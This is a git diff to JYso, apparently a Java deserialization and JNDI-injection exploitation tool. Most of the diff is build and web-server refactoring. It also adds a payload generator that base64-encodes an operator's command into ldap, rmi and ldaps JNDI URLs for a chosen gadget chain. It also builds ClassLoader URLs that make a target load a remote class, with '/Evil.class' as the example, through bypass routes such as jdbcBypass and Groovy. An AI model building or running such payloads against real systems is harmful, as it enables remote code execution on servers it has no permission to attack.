diff --git a/build.gradle b/build.gradle
index 67f75ff..96c6c62 100644
--- a/build.gradle
+++ b/build.gradle
@@ -1,12 +1,8 @@
-import com.github.jengelman.gradle.plugins.shadow.transformers.AppendingTransformer
-
 plugins {
     id 'java'
     id 'java-library'
     id 'maven-publish'
     id 'com.github.johnrengelman.shadow' version '7.1.2'
-    id 'org.springframework.boot' version '2.7.18'
-    id 'io.spring.dependency-management' version '1.1.7'
 }
 
 repositories {
@@ -20,15 +16,6 @@ repositories {
     }
 }
 
-bootJar {
-    enabled = false
-    mainClass = 'com.qi4l.JYso.Starter'
-}
-
-springBoot {
-    mainClass = 'com.qi4l.JYso.Starter'
-}
-
 jar {
     enabled = true
 }
@@ -36,14 +23,7 @@ jar {
 shadowJar {
     archiveClassifier = ''
     zip64 = true
-    // minimize() // disabled: too many reflection-based libs get broken
     mergeServiceFiles()
-    transform(AppendingTransformer) {
-        resource = 'META-INF/spring.factories'
-    }
-    transform(AppendingTransformer) {
-        resource = 'META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports'
-    }
     manifest {
         attributes 'Main-Class': 'com.qi4l.JYso.Starter'
     }
@@ -84,14 +64,13 @@ dependencies {
     implementation 'org.apache.commons:commons-text:1.8'
     implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
     implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
-    implementation 'org.apache.tomcat.embed:tomcat-embed-core'
+    implementation 'org.apache.tomcat:tomcat-catalina:9.0.83'
     implementation 'org.apache.tomcat:tomcat-websocket:9.0.83'
     implementation 'org.apache.wicket:wicket-util:6.23.0'
     implementation 'org.aspectj:aspectjweaver:1.9.7'
     implementation 'org.beanshell:bsh:2.0b5'
     implementation 'org.clojure:clojure:1.8.0'
     implementation 'org.codehaus.groovy:groovy:2.5.23'
-    implementation 'org.eclipse.jetty:jetty-ant:11.0.7'
     implementation 'org.fusesource.jansi:jansi:2.4.0'
     implementation 'org.glassfish.tyrus:tyrus-server:2.0.0'
     implementation 'org.hibernate:hibernate-core:4.3.11.Final'
@@ -106,13 +85,13 @@ dependencies {
     implementation 'org.ow2.asm:asm:8.0.1'
     implementation 'org.python:jython-standalone:2.5.2'
     implementation 'org.reflections:reflections:0.9.10'
-    implementation 'org.springframework:spring-aop'
-    implementation 'org.springframework:spring-beans'
-    implementation 'org.springframework:spring-context-support'
-    implementation 'org.springframework:spring-core'
-    implementation 'org.springframework:spring-jdbc'
-    implementation 'org.springframework:spring-oxm'
-    implementation 'org.springframework:spring-tx'
+    implementation 'org.springframework:spring-aop:5.3.31'
+    implementation 'org.springframework:spring-beans:5.3.31'
+    implementation 'org.springframework:spring-context-support:5.3.31'
+    implementation 'org.springframework:spring-core:5.3.31'
+    implementation 'org.springframework:spring-jdbc:5.3.31'
+    implementation 'org.springframework:spring-oxm:5.3.31'
+    implementation 'org.springframework:spring-tx:5.3.31'
     implementation 'rhino:js:1.7R2'
     implementation 'rome:rome:1.0'
     implementation 'xerces:xercesImpl:2.12.0'
@@ -146,17 +125,10 @@ dependencies {
 
     implementation 'commons-beanutils:commons-beanutils:1.9.4'
 
-    implementation('org.springframework.boot:spring-boot-starter-web') {
-        exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
-        exclude group: 'ch.qos.logback'
-    }
-    implementation('org.springframework.boot:spring-boot-starter-security') {
-        exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
-        exclude group: 'ch.qos.logback'
-    }
+    implementation 'org.eclipse.jetty:jetty-server:9.4.51.v20230217'
+    implementation 'org.eclipse.jetty:jetty-servlet:9.4.51.v20230217'
+    implementation 'org.eclipse.jetty:jetty-util:9.4.51.v20230217'
 
-    runtimeOnly libs.org.aspectj.aspectjweaver
-    compileOnly libs.org.apache.tomcat.tomcat.websocket
 }
 
 
diff --git a/src/main/frontend/src/index.css b/src/main/frontend/src/index.css
index 94976ae..2f5cc79 100644
--- a/src/main/frontend/src/index.css
+++ b/src/main/frontend/src/index.css
@@ -512,6 +512,7 @@ code, pre, .mono {
   padding: 3px;
   gap: 2px;
   transition: background var(--transition-fluid), border-color var(--transition-fluid);
+  min-width: 260px;
 }
 
 .tab-segment-control::before {
@@ -535,7 +536,8 @@ code, pre, .mono {
 .tab-segment-btn {
   position: relative;
   z-index: 1;
-  padding: 6px 20px;
+  flex: 1;
+  padding: 6px 12px;
   border: none;
   border-radius: 9px;
   background: transparent;
@@ -548,6 +550,7 @@ code, pre, .mono {
   white-space: nowrap;
   letter-spacing: -0.2px;
   -webkit-tap-highlight-color: transparent;
+  text-align: center;
 }
 
 .tab-segment-btn:active {
@@ -584,6 +587,27 @@ code, pre, .mono {
 
 .config-form .btn { grid-column: span 2; margin-top: 14px; }
 
+.gadget-dropdown {
+  position: absolute;
+  top: 100%;
+  left: 0;
+  right: 0;
+  z-index: 50;
+  background: var(--card-bg);
+  backdrop-filter: blur(24px) saturate(180%);
+  -webkit-backdrop-filter: blur(24px) saturate(180%);
+  border: 1px solid var(--border-color);
+  border-radius: 12px;
+  box-shadow: var(--card-shadow-lg);
+  overflow: hidden;
+  animation: dropdownSlideIn 180ms cubic-bezier(0.22, 0.1, 0, 1) both;
+}
+
+@keyframes dropdownSlideIn {
+  from { opacity: 0; transform: translateY(-4px) scale(0.985); }
+  to { opacity: 1; transform: translateY(0) scale(1); }
+}
+
 .gadget-list {
   max-height: 280px;
   overflow-y: auto;
@@ -643,11 +667,6 @@ label.form-group {
   cursor: pointer;
 }
 
-.pill-sun, .pill-moon {
-  font-size: 15px;
-  line-height: 1;
-}
-
 @media (max-width: 768px) {
   .page-shell { padding: 48px 16px 32px; }
   .grid-2 { grid-template-columns: 1fr; }
diff --git a/src/main/frontend/src/pages/Dashboard.jsx b/src/main/frontend/src/pages/Dashboard.jsx
index 9f89c88..a20839c 100644
--- a/src/main/frontend/src/pages/Dashboard.jsx
+++ b/src/main/frontend/src/pages/Dashboard.jsx
@@ -15,11 +15,28 @@ export default function Dashboard() {
   const [loading, setLoading] = useState(false)
   const [msg, setMsg] = useState({ success: '', error: '' })
   const [toggling, setToggling] = useState(null)
+  const [activeJndiTab, setActiveJndiTab] = useState('config')
   const [gadgets, setGadgets] = useState([])
   const [gadgetSearch, setGadgetSearch] = useState('')
   const [selectedGadget, setSelectedGadget] = useState('')
   const [payloadCmd, setPayloadCmd] = useState('')
   const [payloadResult, setPayloadResult] = useState('')
+  const [payloadSubTab, setPayloadSubTab] = useState('gadget')
+  const [gadgetOpen, setGadgetOpen] = useState(false)
+  const [jndiPayloadResult, setJndiPayloadResult] = useState('')
+  const [rmiPayloadResult, setRmiPayloadResult] = useState('')
+  const [ldapsPayloadResult, setLdapsPayloadResult] = useState('')
+  const [jndiGadgetInput, setJndiGadgetInput] = useState('')
+  const [gadgetModeInput, setGadgetModeInput] = useState('')
+  const [saveFilename, setSaveFilename] = useState('')
+  const [filePath, setFilePath] = useState('')
+  const [classLoaderResult, setClassLoaderResult] = useState('')
+  const [rmiClassLoaderResult, setRmiClassLoaderResult] = useState('')
+  const [ldapsClassLoaderResult, setLdapsClassLoaderResult] = useState('')
+  const [routing, setRouting] = useState('ELProcessor')
+  const [routingOpen, setRoutingOpen] = useState(false)
+
+  const ROUTING_OPTIONS = ['Basic', 'ELProcessor', 'Groovy', 'jdbcBypass1', 'jdbcBypass2', 'ldap2rmi', 'SnakeYaml', 'XStream', 'MemoryXXE']
 
   const [configForm, setConfigForm] = useState({
     ip: '', ldapPort: 1389, ldapsPort: 1669, httpPort: 3456, rmiPort: 1099,
@@ -98,10 +115,12 @@ export default function Dashboard() {
   }
 
   async function handleGeneratePayload() {
+    const gadgetName = (gadgetModeInput || selectedGadget || '').trim()
+    if (!gadgetName) return
     setLoading(true)
     setMsg({ success: '', error: '' })
     try {
-      const res = await apiGenerate({ gadget: selectedGadget, command: payloadCmd })
+      const res = await apiGenerate({ gadget: gadgetName, command: payloadCmd, filename: saveFilename })
       if (res.data.success) {
         setPayloadResult(res.data.message || 'Payload generated successfully')
         setMsg({ success: 'Payload generated', error: '' })
@@ -114,6 +133,68 @@ export default function Dashboard() {
     } finally { setLoading(false) }
   }
 
+  function handleGenerateJndiPayload() {
+    const gadgetName = (jndiGadgetInput || selectedGadget || '').trim()
+    if (!gadgetName || !payloadCmd) return
+    setLoading(true)
+    setMsg({ success: '', error: '' })
+    setJndiPayloadResult('')
+    setRmiPayloadResult('')
+    setLdapsPayloadResult('')
+    try {
+      const bytes = new TextEncoder().encode(payloadCmd)
+      const cmdB64 = btoa(String.fromCharCode.apply(null, bytes))
+      const ipAddr = configForm.ip || '0.0.0.0'
+      const ldapPort = configForm.ldapPort || 1389
+      const rmiPort = configForm.rmiPort || 1099
+      const ldapsPort = configForm.ldapsPort || 1669
+
+      const ldapUrl = `ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
+      const rmiUrl = `rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
+      const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`
+
+      setJndiPayloadResult(ldapUrl)
+      setRmiPayloadResult(rmiUrl)
+      setLdapsPayloadResult(ldapsUrl)
+      setMsg({ success: 'Payload URLs generated', error: '' })
+    } catch (e) {
+      setMsg({ success: '', error: 'Failed to generate URL' })
+    } finally { setLoading(false) }
+  }
+
+  function handleGenerateClassLoader() {
+    const fp = filePath.trim()
+    const route = routing.trim()
+    if (!fp || !route) return
+    setLoading(true)
+    setMsg({ success: '', error: '' })
+    setClassLoaderResult('')
+    setRmiClassLoaderResult('')
+    setLdapsClassLoaderResult('')
+    if (!fp.toLowerCase().endsWith('.class')) {
+      setMsg({ success: '', error: 'File path must end with .class' })
+      setLoading(false)
+      return
+    }
+    try {
+      const ipAddr = configForm.ip || '0.0.0.0'
+      const ldapPort = configForm.ldapPort || 1389
+      const rmiPort = configForm.rmiPort || 1099
+      const ldapsPort = configForm.ldapsPort || 1669
+
+      const ldapUrl = `ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`
+      const rmiUrl = `rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`
+      const ldapsUrl = `ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`
+
+      setClassLoaderResult(ldapUrl)
+      setRmiClassLoaderResult(rmiUrl)
+      setLdapsClassLoaderResult(ldapsUrl)
+      setMsg({ success: 'ClassLoader URLs generated', error: '' })
+    } catch (e) {
+      setMsg({ success: '', error: 'Failed to generate URL' })
+    } finally { setLoading(false) }
+  }
+
   function logout() {
     setAuthToken(null)
     navigate('/login', { replace: true })
@@ -152,14 +233,7 @@ export default function Dashboard() {
                 onClick={toggleTheme}
                 aria-label={theme === 'light' ? 'Switch to dark mode' : 'Switch to light mode'}
                 title={theme === 'light' ? 'Dark mode' : 'Light mode'}
-              >
-                <span className="pill-sun" style={{ position: 'absolute', top: 4, left: 5, opacity: theme === 'dark' ? 0.35 : 1, transition: 'opacity 0.2s' }}>
-                  &#x2600;&#xFE0F;
-                </span>
-                <span className="pill-moon" style={{ position: 'absolute', top: 4, right: 5, opacity: theme === 'dark' ? 1 : 0.35, transition: 'opacity 0.2s' }}>
-                  &#x1F319;
-                </span>
-              </button>
+              />
               <button className="logout-btn" onClick={logout}>Logout</button>
             </div>
           </div>
@@ -218,8 +292,26 @@ export default function Dashboard() {
               </div>
 
               <div className="glass-card section-enter">
-                <h2>Config</h2>
-                <div className="config-form">
+                <div className="control-bar">
+                  <div className={'tab-segment-control' + (activeJndiTab === 'payload' ? ' config-tab' : '')}>
+                    <button
+                      className={'tab-segment-btn' + (activeJndiTab === 'config' ? ' active' : '')}
+                      onClick={() => setActiveJndiTab('config')}
+                    >
+                      Config
+                    </button>
+                    <button
+                      className={'tab-segment-btn' + (activeJndiTab === 'payload' ? ' active' : '')}
+                      onClick={() => setActiveJndiTab('payload')}
+                    >
+                      Payload Generator
+                    </button>
+                  </div>
+                </div>
+
+                {activeJndiTab === 'config' && (
+                  <div key="jndi-config" className="tab-content-enter">
+                    <div className="config-form">
                       <div className="form-group">
                         <label>IP Address</label>
                         <input type="text" value={configForm.ip}
@@ -280,6 +372,128 @@ export default function Dashboard() {
                         {loading ? 'Saving...' : 'Save Configuration'}
                       </button>
                     </div>
+                  </div>
+                )}
+
+                {activeJndiTab === 'payload' && (
+                  <div key="jndi-payload" className="tab-content-enter">
+                    <div className="control-bar">
+                      <div className={'tab-segment-control' + (payloadSubTab === 'classloader' ? ' config-tab' : '')}>
+                        <button
+                          className={'tab-segment-btn' + (payloadSubTab === 'gadget' ? ' active' : '')}
+                          onClick={() => setPayloadSubTab('gadget')}
+                        >
+                          Gadget
+                        </button>
+                        <button
+                          className={'tab-segment-btn' + (payloadSubTab === 'classloader' ? ' active' : '')}
+                          onClick={() => setPayloadSubTab('classloader')}
+                        >
+                          ClassLoader
+                        </button>
+                      </div>
+                    </div>
+
+                    {payloadSubTab === 'gadget' && (
+                      <div key="payload-gadget" className="tab-content-enter">
+                        <div style={{ position: 'relative' }}>
+                          <div className="form-group">
+                            <label>Gadget</label>
+                            <input type="text"
+                              value={jndiGadgetInput}
+                              placeholder="Type or search..."
+                              onFocus={() => setGadgetOpen(true)}
+                              onBlur={() => setTimeout(() => setGadgetOpen(false), 150)}
+                              onChange={e => { setJndiGadgetInput(e.target.value); setGadgetSearch(e.target.value); }}
+                              style={{ cursor: 'text' }}
+                            />
+                          </div>
+                          {gadgetOpen && (
+                            <div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
+                              <div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
+                                {filteredGadgets.map(g => (
+                                  <div key={g.name}
+                                    className={'gadget-item' + (selectedGadget === g.name ? ' selected' : '')}
+                                    onMouseDown={e => { e.preventDefault(); setSelectedGadget(g.name); setJndiGadgetInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}>
+                                    {g.name}
+                                  </div>
+                                ))}
+                              </div>
+                            </div>
+                          )}
+                        </div>
+                        <div className="form-group">
+                          <label>Command</label>
+                          <textarea rows={4} value={payloadCmd} placeholder="e.g. whoami"
+                            onChange={e => setPayloadCmd(e.target.value)} />
+                        </div>
+                        <button className="btn btn-primary" onClick={handleGenerateJndiPayload}
+                          disabled={loading || (!(jndiGadgetInput || selectedGadget).trim()) || !payloadCmd}>
+                          {loading ? 'Generating...' : 'Generate'}
+                        </button>
+                        {jndiPayloadResult && (
+                          <div className="payload-output" style={{ marginTop: 14 }}>{jndiPayloadResult}</div>
+                        )}
+                        {rmiPayloadResult && (
+                          <div className="payload-output" style={{ marginTop: 8 }}>{rmiPayloadResult}</div>
+                        )}
+                        {ldapsPayloadResult && (
+                          <div className="payload-output" style={{ marginTop: 8 }}>{ldapsPayloadResult}</div>
+                        )}
+                      </div>
+                    )}
+
+                    {payloadSubTab === 'classloader' && (
+                      <div key="payload-classloader" className="tab-content-enter">
+                        <div style={{ position: 'relative' }}>
+                          <div className="form-group">
+                            <label>Routing</label>
+                            <input type="text"
+                              value={routing}
+                              placeholder="Select route..."
+                              onFocus={() => setRoutingOpen(true)}
+                              onBlur={() => setTimeout(() => setRoutingOpen(false), 150)}
+                              onChange={e => setRouting(e.target.value)}
+                              style={{ cursor: 'text' }}
+                            />
+                          </div>
+                          {routingOpen && (
+                            <div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
+                              <div className="gadget-list" style={{ maxHeight: 220, border: 'none', borderRadius: 12 }}>
+                                {ROUTING_OPTIONS.map(opt => (
+                                  <div key={opt}
+                                    className={'gadget-item' + (routing === opt ? ' selected' : '')}
+                                    onMouseDown={e => { e.preventDefault(); setRouting(opt); setRoutingOpen(false); }}>
+                                    {opt}
+                                  </div>
+                                ))}
+                              </div>
+                            </div>
+                          )}
+                        </div>
+                        <div className="form-group">
+                          <label>FilePath</label>
+                          <input type="text" value={filePath}
+                            placeholder="e.g. /Evil.class"
+                            onChange={e => setFilePath(e.target.value)} />
+                        </div>
+                        <button className="btn btn-primary" onClick={handleGenerateClassLoader}
+                          disabled={loading || !filePath.trim() || !routing.trim()}>
+                          {loading ? 'Generating...' : 'Generate'}
+                        </button>
+                        {classLoaderResult && (
+                          <div className="payload-output" style={{ marginTop: 14 }}>{classLoaderResult}</div>
+                        )}
+                        {rmiClassLoaderResult && (
+                          <div className="payload-output" style={{ marginTop: 8 }}>{rmiClassLoaderResult}</div>
+                        )}
+                        {ldapsClassLoaderResult && (
+                          <div className="payload-output" style={{ marginTop: 8 }}>{ldapsClassLoaderResult}</div>
+                        )}
+                      </div>
+                    )}
+                  </div>
+                )}
               </div>
             </>
           )}
@@ -287,40 +501,50 @@ export default function Dashboard() {
           {mode === 'gadget' && (
             <div className="glass-card section-enter">
               <h2>Payload Generator</h2>
-              <div className="grid-2">
-                <div>
-                  <h3 style={{ fontSize: 13, marginBottom: 10, color: 'var(--text-secondary)', fontWeight: 600, textTransform: 'uppercase', letterSpacing: 0.5 }}>
-                    Select Gadget
-                  </h3>
-                  <div className="form-group">
-                    <input type="text" placeholder="Search..." value={gadgetSearch}
-                      onChange={e => setGadgetSearch(e.target.value)} />
-                  </div>
-                  <div className="gadget-list">
-                    {filteredGadgets.map(g => (
-                      <div key={g.name}
-                        className={'gadget-item' + (selectedGadget === g.name ? ' selected' : '')}
-                        onClick={() => setSelectedGadget(g.name)}>
-                        {g.name}
-                      </div>
-                    ))}
-                  </div>
+              <div style={{ position: 'relative' }}>
+                <div className="form-group">
+                  <label>Gadget</label>
+                  <input type="text"
+                    value={gadgetModeInput}
+                    placeholder="Type or search..."
+                    onFocus={() => setGadgetOpen(true)}
+                    onBlur={() => setTimeout(() => setGadgetOpen(false), 150)}
+                    onChange={e => { setGadgetModeInput(e.target.value); setGadgetSearch(e.target.value); }}
+                    style={{ cursor: 'text' }}
+                  />
                 </div>
-                <div>
-                  <div className="form-group">
-                    <label>Command</label>
-                    <textarea rows={4} value={payloadCmd} placeholder="e.g. whoami"
-                      onChange={e => setPayloadCmd(e.target.value)} />
+                {gadgetOpen && (
+                  <div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
+                    <div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
+                      {filteredGadgets.map(g => (
+                        <div key={g.name}
+                          className={'gadget-item' + (selectedGadget === g.name ? ' selected' : '')}
+                          onMouseDown={e => { e.preventDefault(); setSelectedGadget(g.name); setGadgetModeInput(g.name); setGadgetSearch(g.name); setGadgetOpen(false); }}>
+                          {g.name}
+                        </div>
+                      ))}
+                    </div>
                   </div>
-                  <button className="btn btn-primary" onClick={handleGeneratePayload}
-                    disabled={loading || !selectedGadget}>
-                    {loading ? 'Generating...' : 'Generate Payload'}
-                  </button>
-                  {payloadResult && (
-                    <div className="payload-output">{payloadResult}</div>
-                  )}
-                </div>
+                )}
               </div>
+              <div className="form-group">
+                <label>Command</label>
+                <textarea rows={4} value={payloadCmd} placeholder="e.g. whoami"
+                  onChange={e => setPayloadCmd(e.target.value)} />
+              </div>
+              <div className="form-group">
+                <label>Save As (leave empty to discard)</label>
+                <input type="text" value={saveFilename}
+                  placeholder="e.g. payload.ser"
+                  onChange={e => setSaveFilename(e.target.value)} />
+              </div>
+              <button className="btn btn-primary" onClick={handleGeneratePayload}
+                disabled={loading || !(gadgetModeInput || selectedGadget).trim()}>
+                {loading ? 'Generating...' : 'Generate'}
+              </button>
+              {payloadResult && (
+                <div className="payload-output" style={{ marginTop: 14 }}>{payloadResult}</div>
+              )}
             </div>
           )}
         </div>
diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java
index 129e2df..5332eef 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java
@@ -115,12 +115,6 @@ public class Config {
             for (String line : lines) {
                 System.out.println("     " + line);
             }
-
-            System.exit(0);
-        }
-
-        if (showVersion) {
-            System.exit(0);
         }
 
         //获取当前 Jar 的名称
@@ -129,7 +123,6 @@ public class Config {
 
         if (help) {
             jc.usage(); //if -h specified, show help and exit
-            System.exit(0);
         }
 
         // 特别注意：最后一个反斜杠不能少啊
diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java
index 6230164..e203029 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java
@@ -17,7 +17,6 @@ import java.nio.file.Paths;
 import java.util.*;
 
 import static com.qi4l.JYso.gadgets.Config.Config.logo;
-import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
 
 public class ysoserial {
 
@@ -88,7 +87,6 @@ public class ysoserial {
             System.err.println("Invalid payload type '" + payloadType + "'");
             printUsage(options);
             System.exit(1);
-            return;
         }
 
 
@@ -104,12 +102,6 @@ public class ysoserial {
                 object = new DirtyDataWrapper(object, type, length).doWrap();
             }
 
-            // 储存生成的 payload
-            PAYLOAD = object;
-            if (isFromExploit()) {
-                return;
-            }
-
             OutputStream out;
 
             if (Config.WRITE_FILE) {
@@ -183,7 +175,6 @@ public class ysoserial {
         System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
         System.err.println("If you want your payload being extremely short，you could just use:");
         System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
-        System.exit(0);
     }
 
 }
diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java
index de961f4..8d8eb0a 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java
@@ -96,7 +96,6 @@ public class JRE8u20 implements ObjectPayload<Object> {
 
         if (JYsoMode) {
             ser.write(System.out);
-            System.exit(0);
         }
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         ser.write(out);
diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java
index 7a01fc1..ef2f94e 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson2.java
@@ -45,4 +45,4 @@ public class Jackson2 implements ObjectPayload<Object> {
         setFieldValue(val, "suppressedExceptions", null);
         return val;
     }
-}
+}
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java
index a4516b3..aa43d28 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java
@@ -122,4 +122,4 @@ public class Jackson3 implements ObjectPayload<Object>  {
 
         return getEventListenerList(node);
     }
-}
+}
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java
index 5f211bd..5c8a068 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson4.java
@@ -41,4 +41,4 @@ public class Jackson4 implements ObjectPayload<Object> {
         map2.put("zZ", node);
         return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
     }
-}
+}
\ No newline at end of file
diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java
index 969a509..1162bb6 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/utils/StringUtil.java
@@ -48,16 +48,6 @@ public class StringUtil {
         return lines;
     }
 
-    public static boolean isFromExploit() {
-        StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
-        for (StackTraceElement stackTraceElement : stackTraceElements) {
-            if (stackTraceElement.getClassName().startsWith("com.qi4l.JYso.exploit")) {
-                return true;
-            }
-        }
-        return false;
-    }
-
     public static class ToStringComparator implements Comparator<Object> {
 
         public int compare(Object o1, Object o2) {
diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/SuClassLoader.java b/src/main/java/com/qi4l/JYso/gadgets/utils/SuClassLoader.java
index 11cd19e..74e0ef1 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/utils/SuClassLoader.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/utils/SuClassLoader.java
@@ -1,8 +1,43 @@
 package com.qi4l.JYso.gadgets.utils;
 
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+
 public class SuClassLoader extends ClassLoader {
 
+    private final Set<String> skipParentClasses;
+
     public SuClassLoader() {
         super(Thread.currentThread().getContextClassLoader());
+        this.skipParentClasses = Collections.emptySet();
+    }
+
+    public SuClassLoader(ClassLoader parent) {
+        super(parent);
+        this.skipParentClasses = Collections.emptySet();
+    }
+
+    public SuClassLoader(ClassLoader parent, String skipParentClass) {
+        super(parent);
+        this.skipParentClasses = ConcurrentHashMap.newKeySet();
+        this.skipParentClasses.add(skipParentClass);
+    }
+
+    @Override
+    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
+        if (skipParentClasses.contains(name)) {
+            Class<?> c = findLoadedClass(name);
+            if (c != null) return c;
+            c = findClass(name);
+            if (resolve) resolveClass(c);
+            return c;
+        }
+        return super.loadClass(name, resolve);
+    }
+
+    @Override
+    protected Class<?> findClass(String name) throws ClassNotFoundException {
+        throw new ClassNotFoundException(name);
     }
 }
diff --git a/src/main/java/com/qi4l/JYso/web/JYsoWebApplication.java b/src/main/java/com/qi4l/JYso/web/JYsoWebApplication.java
index 73047af..b4ede27 100644
--- a/src/main/java/com/qi4l/JYso/web/JYsoWebApplication.java
+++ b/src/main/java/com/qi4l/JYso/web/JYsoWebApplication.java
@@ -9,21 +9,20 @@ import com.qi4l.JYso.web.config.JYsoWebPasswordProvider;
 import com.qi4l.JYso.web.config.WebPasswordGenerator;
 import org.apache.logging.log4j.LogManager;
 import org.apache.logging.log4j.Logger;
-import org.springframework.boot.SpringApplication;
-import org.springframework.boot.WebApplicationType;
-import org.springframework.boot.autoconfigure.SpringBootApplication;
-import org.springframework.boot.builder.SpringApplicationBuilder;
-import org.springframework.context.ConfigurableApplicationContext;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.servlet.FilterHolder;
+import org.eclipse.jetty.servlet.ServletContextHandler;
+import org.eclipse.jetty.servlet.ServletHolder;
 
+import javax.servlet.DispatcherType;
 import java.awt.*;
 import java.awt.datatransfer.StringSelection;
-import java.util.Properties;
+import java.util.EnumSet;
 import java.util.concurrent.CountDownLatch;
 
 import static com.qi4l.JYso.gadgets.Config.Config.logo;
 import static org.fusesource.jansi.Ansi.ansi;
 
-@SpringBootApplication(scanBasePackages = "com.qi4l.JYso.web")
 public class JYsoWebApplication {
 
     private static final Logger log = LogManager.getLogger(JYsoWebApplication.class);
@@ -58,26 +57,38 @@ public class JYsoWebApplication {
 
         startJndiServers(args);
 
-        Properties props = new Properties();
-        props.put("server.port", String.valueOf(webPort));
-        props.put("spring.main.banner-mode", "off");
-        props.put("spring.main.web-application-type", "servlet");
-
-        ConfigurableApplicationContext ctx = new SpringApplicationBuilder(JYsoWebApplication.class)
-                .web(WebApplicationType.SERVLET)
-                .properties(props)
-                .run(filterWebArgs(args));
-
-        CountDownLatch latch = new CountDownLatch(1);
-        Runtime.getRuntime().addShutdownHook(new Thread(() -> {
-            log.info("Shutting down...");
-            ctx.close();
-            latch.countDown();
-        }));
         try {
+            Server server = new Server(webPort);
+            ServletContextHandler context = new ServletContextHandler(ServletContextHandler.SESSIONS);
+            context.setContextPath("/");
+            server.setHandler(context);
+
+            context.addFilter(new FilterHolder(new ApiAuthFilter()), "/api/*", EnumSet.of(DispatcherType.REQUEST));
+
+            context.addServlet(new ServletHolder(new AuthServlet()), "/api/auth/login");
+
+            context.addServlet(new ServletHolder(new JettyApiServlet()), "/api/*");
+
+            context.addFilter(new FilterHolder(new SpaFallbackFilter()), "/*", EnumSet.of(DispatcherType.REQUEST));
+
+            context.addServlet(new ServletHolder(new StaticResourceServlet()), "/");
+
+            server.start();
+            System.out.println(ansi().render("@|green [+]|@ Web GUI started on http://127.0.0.1:" + webPort));
+
+            CountDownLatch latch = new CountDownLatch(1);
+            Runtime.getRuntime().addShutdownHook(new Thread(() -> {
+                log.info("Shutting down...");
+                try {
+                    server.stop();
+                } catch (Exception e) {
+                    log.error("Stop error", e);
+                }
+                latch.countDown();
+            }));
             latch.await();
-        } catch (InterruptedException e) {
-            Thread.currentThread().interrupt();
+        } catch (Exception e) {
+            log.error("Failed to start web server", e);
         }
     }
 
@@ -88,7 +99,6 @@ public class JYsoWebApplication {
             );
             System.out.println(ansi().render("@|cyan [+]|@ Password copied to clipboard"));
         } catch (HeadlessException e) {
-            // headless environment, clipboard unavailable
         } catch (Exception e) {
             System.out.println(ansi().render("@|yellow [!]|@ Could not copy to clipboard: " + e.getMessage()));
         }
diff --git a/src/main/java/com/qi4l/JYso/web/config/SecurityConfig.java b/src/main/java/com/qi4l/JYso/web/config/SecurityConfig.java
deleted file mode 100644
index 709564b..0000000
--- a/src/main/java/com/qi4l/JYso/web/config/SecurityConfig.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.qi4l.JYso.web.config;
-
